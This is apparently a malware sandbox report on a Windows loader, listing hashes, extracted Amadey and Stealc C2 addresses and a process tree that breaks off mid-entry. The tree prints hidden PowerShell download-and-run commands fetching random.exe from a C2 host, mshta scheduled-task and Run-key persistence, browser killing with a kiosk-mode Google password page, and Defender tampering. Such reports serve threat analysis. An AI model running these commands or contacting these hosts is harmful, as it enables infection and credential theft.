Overview

overview

10

Static

static

5

2025-03-26...er.exe

windows7-x64

10

2025-03-26...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/03/2025, 19:29

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-03-26_931cf964ce6a57469dbb4b1348d731da_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    931cf964ce6a57469dbb4b1348d731da

  • SHA1

    6c45ca1ac7bf0127a96895a9f41750f33f36153e

  • SHA256

    4ffbf2eea50d30a9b549d0fd43259de752c0a6dbb7f54df2c94c9c682189a712

  • SHA512

    310ee9fc767881d55c68fe88d36816904afa3bc6f8ac7784605cf2cd44237d7f854f85ca3f5b548665f1d471fb2fb39edcd6a7d6d5d0df8113fb6587a8f11f6e

  • SSDEEP

    24576:lqDEvCTbMWu7rQYlBQcBiT6rprG8a00u:lTvC/MTQYxsWR7a00

Score
10/10
amadeygcleanerhealernetsupportstealc092155trumpdefense_evasiondiscoverydropperevasionexecutionloaderpersistencepyinstallerratspywarestealertrojanupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

    ratnetsupport
  • Netsupport family
    netsupport
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 12 IoCs
    defense_evasion
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file 19 IoCs
  • Checks BIOS information in registry 2 TTPs 24 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 10 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 33 IoCs
  • Identifies Wine through registry keys 2 TTPs 12 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 19 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 11 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops desktop.ini file(s) 3 IoCs
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 12 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 32 IoCs
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 18 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of FindShellTrayWindow 39 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-03-26_931cf964ce6a57469dbb4b1348d731da_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-03-26_931cf964ce6a57469dbb4b1348d731da_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4236
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn Ety1NmaKH8L /tr "mshta C:\Users\Admin\AppData\Local\Temp\1OsPrpOn5.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:208
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn Ety1NmaKH8L /tr "mshta C:\Users\Admin\AppData\Local\Temp\1OsPrpOn5.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:5300
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\1OsPrpOn5.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5272
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'O5AF43BIIXAG0TOTX7IFNSVPHXHZLUIJ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3268
        • C:\Users\Admin\AppData\Local\TempO5AF43BIIXAG0TOTX7IFNSVPHXHZLUIJ.EXE
          "C:\Users\Admin\AppData\Local\TempO5AF43BIIXAG0TOTX7IFNSVPHXHZLUIJ.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4952
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4728
            • C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe
              "C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe"
              6⤵
              • Checks computer location settings
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2432
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:2052
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
                  8⤵
                  • Adds Run key to start application
                  • System Location Discovery: System Language Discovery
                  PID:3592
                • C:\Users\Public\Netstat\bild.exe
                  C:\Users\Public\Netstat\bild.exe
                  8⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  PID:1444
            • C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe
              "C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:5528
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                7⤵
                  PID:5608
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5556
              • C:\Users\Admin\AppData\Local\Temp\10342650101\1a345cb2c9.exe
                "C:\Users\Admin\AppData\Local\Temp\10342650101\1a345cb2c9.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of WriteProcessMemory
                PID:3320
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c schtasks /create /tn 4KD5bmaQzm2 /tr "mshta C:\Users\Admin\AppData\Local\Temp\qRMLtwaa6.hta" /sc minute /mo 25 /ru "Admin" /f
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4212
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /create /tn 4KD5bmaQzm2 /tr "mshta C:\Users\Admin\AppData\Local\Temp\qRMLtwaa6.hta" /sc minute /mo 25 /ru "Admin" /f
                    8⤵
                    • System Location Discovery: System Language Discovery
                    • Scheduled Task/Job: Scheduled Task
                    PID:5548
                • C:\Windows\SysWOW64\mshta.exe
                  mshta C:\Users\Admin\AppData\Local\Temp\qRMLtwaa6.hta
                  7⤵
                  • Checks computer location settings
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4380
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'EWOZCITL5IWWEK4KOOI6DOVAIJQO0STX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                    8⤵
                    • Blocklisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • Downloads MZ/PE file
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:4868
                    • C:\Users\Admin\AppData\Local\TempEWOZCITL5IWWEK4KOOI6DOVAIJQO0STX.EXE
                      "C:\Users\Admin\AppData\Local\TempEWOZCITL5IWWEK4KOOI6DOVAIJQO0STX.EXE"
                      9⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      PID:5004
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10342660121\am_no.cmd" "
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3880
                • C:\Windows\SysWOW64\timeout.exe
                  timeout /t 2
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Delays execution with timeout.exe
                  PID:3380
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:920
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3596
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:3000
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:536
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:5680
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1800
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn "h9CopmaXymJ" /tr "mshta \"C:\Temp\9eLTDrcjK.hta\"" /sc minute /mo 25 /ru "Admin" /f
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:5112
                • C:\Windows\SysWOW64\mshta.exe
                  mshta "C:\Temp\9eLTDrcjK.hta"
                  7⤵
                  • Checks computer location settings
                  • System Location Discovery: System Language Discovery
                  PID:3556
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                    8⤵
                    • Blocklisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • Downloads MZ/PE file
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4568
                    • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                      "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                      9⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1100
              • C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe
                "C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe"
                6⤵
                • Executes dropped EXE
                PID:748
                • C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe
                  "C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe"
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:3264
              • C:\Users\Admin\AppData\Local\Temp\10343000101\3b9255b7b8.exe
                "C:\Users\Admin\AppData\Local\Temp\10343000101\3b9255b7b8.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:3996
              • C:\Users\Admin\AppData\Local\Temp\10343010101\cedf45a946.exe
                "C:\Users\Admin\AppData\Local\Temp\10343010101\cedf45a946.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:860
              • C:\Users\Admin\AppData\Local\Temp\10343020101\cf3c7b0407.exe
                "C:\Users\Admin\AppData\Local\Temp\10343020101\cf3c7b0407.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:6120
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM firefox.exe /T
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5496
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM chrome.exe /T
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2964
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM msedge.exe /T
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5164
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM opera.exe /T
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3904
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM brave.exe /T
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2976
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                  7⤵
                    PID:1292
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                      8⤵
                      • Drops desktop.ini file(s)
                      • Checks processor information in registry
                      • Modifies registry class
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      • Suspicious use of SetWindowsHookEx
                      PID:4360
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1992 -prefsLen 27099 -prefMapHandle 1996 -prefMapSize 270279 -ipcHandle 2072 -initialChannelId {600319f8-9124-4b5d-9b7b-d18205c1de13} -parentPid 4360 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4360" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                        9⤵
                          PID:1772
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2464 -prefsLen 27135 -prefMapHandle 2468 -prefMapSize 270279 -ipcHandle 2488 -initialChannelId {a255a0bb-8f7d-4351-a122-7fedd74bbbb5} -parentPid 4360 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4360" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                          9⤵
                            PID:5816
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3816 -prefsLen 25164 -prefMapHandle 3820 -prefMapSize 270279 -jsInitHandle 3824 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3832 -initialChannelId {7d4c1bae-adba-4518-815e-866eed0cbbe6} -parentPid 4360 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4360" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                            9⤵
                            • Checks processor information in registry
                            PID:4968
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4012 -prefsLen 27276 -prefMapHandle 4016 -prefMapSize 270279 -ipcHandle 4080 -initialChannelId {23e9e7cc-b76a-4c3b-9132-b06e30c9ae3d} -parentPid 4360 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4360" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                            9⤵
                              PID:3816
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2844 -prefsLen 34775 -prefMapHandle 2848 -prefMapSize 270279 -jsInitHandle 2832 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2812 -initialChannelId {6dab85ec-a450-41de-881f-ca46b49f5451} -parentPid 4360 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4360" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                              9⤵
                              • Checks processor information in registry
                              PID:5804
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5108 -prefsLen 35012 -prefMapHandle 4968 -prefMapSize 270279 -ipcHandle 3136 -initialChannelId {3546e57e-05d2-4e1d-b552-59153dc1d316} -parentPid 4360 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4360" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                              9⤵
                              • Checks processor information in registry
                              PID:4876
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5392 -prefsLen 32952 -prefMapHandle 5396 -prefMapSize 270279 -jsInitHandle 5400 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5412 -initialChannelId {b6d48f6d-244b-4df0-b2e4-d095561341fe} -parentPid 4360 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4360" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                              9⤵
                              • Checks processor information in registry
                              PID:4408
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5392 -prefsLen 32952 -prefMapHandle 5456 -prefMapSize 270279 -jsInitHandle 5444 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5624 -initialChannelId {463e6b16-797b-4492-92a6-caa74b4ff6e9} -parentPid 4360 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4360" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                              9⤵
                              • Checks processor information in registry
                              PID:2572
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5820 -prefsLen 32952 -prefMapHandle 5824 -prefMapSize 270279 -jsInitHandle 5828 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5632 -initialChannelId {6e0c0ec5-f1c5-4dfd-b4e7-40be26554111} -parentPid 4360 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4360" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                              9⤵
                              • Checks processor information in registry
                              PID:2432
                      • C:\Users\Admin\AppData\Local\Temp\10343030101\d53dfa19bc.exe
                        "C:\Users\Admin\AppData\Local\Temp\10343030101\d53dfa19bc.exe"
                        6⤵
                        • Modifies Windows Defender DisableAntiSpyware settings
                        • Modifies Windows Defender Real-time Protection settings
                        • Modifies Windows Defender TamperProtection settings
                        • Modifies Windows Defender notification settings
                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                        • Checks BIOS information in registry
                        • Executes dropped EXE
                        • Identifies Wine through registry keys
                        • Windows security modification
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:628
                      • C:\Users\Admin\AppData\Local\Temp\10343040101\e77f7e910d.exe
                        "C:\Users\Admin\AppData\Local\Temp\10343040101\e77f7e910d.exe"
                        6⤵
                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                        • Checks BIOS information in registry
                        • Executes dropped EXE
                        • Identifies Wine through registry keys
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4548
                      • C:\Users\Admin\AppData\Local\Temp\10343050101\d04feb6f29.exe
                        "C:\Users\Admin\AppData\Local\Temp\10343050101\d04feb6f29.exe"
                        6⤵
                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                        • Checks BIOS information in registry
                        • Executes dropped EXE
                        • Identifies Wine through registry keys
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        • Suspicious use of SetThreadContext
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        PID:3444
                        • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                          "C:\Users\Admin\AppData\Local\Temp\10343050101\d04feb6f29.exe"
                          7⤵
                          • Downloads MZ/PE file
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          PID:2436
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2436 -s 1308
                            8⤵
                            • Program crash
                            PID:13252
                      • C:\Users\Admin\AppData\Local\Temp\10343060101\a3a62fae3d.exe
                        "C:\Users\Admin\AppData\Local\Temp\10343060101\a3a62fae3d.exe"
                        6⤵
                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                        • Checks BIOS information in registry
                        • Executes dropped EXE
                        • Identifies Wine through registry keys
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        • Suspicious use of SetThreadContext
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        PID:2284
                        • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                          "C:\Users\Admin\AppData\Local\Temp\10343060101\a3a62fae3d.exe"
                          7⤵
                          • Executes dropped EXE
                          PID:6424
                      • C:\Users\Admin\AppData\Local\Temp\10343070101\kDveTWY.exe
                        "C:\Users\Admin\AppData\Local\Temp\10343070101\kDveTWY.exe"
                        6⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        PID:3284
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                          7⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:3288
                      • C:\Users\Admin\AppData\Local\Temp\10343080101\dBSGwVB.exe
                        "C:\Users\Admin\AppData\Local\Temp\10343080101\dBSGwVB.exe"
                        6⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        PID:6284
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "
                          7⤵
                          • System Location Discovery: System Language Discovery
                          PID:6324
                          • C:\Windows\SysWOW64\reg.exe
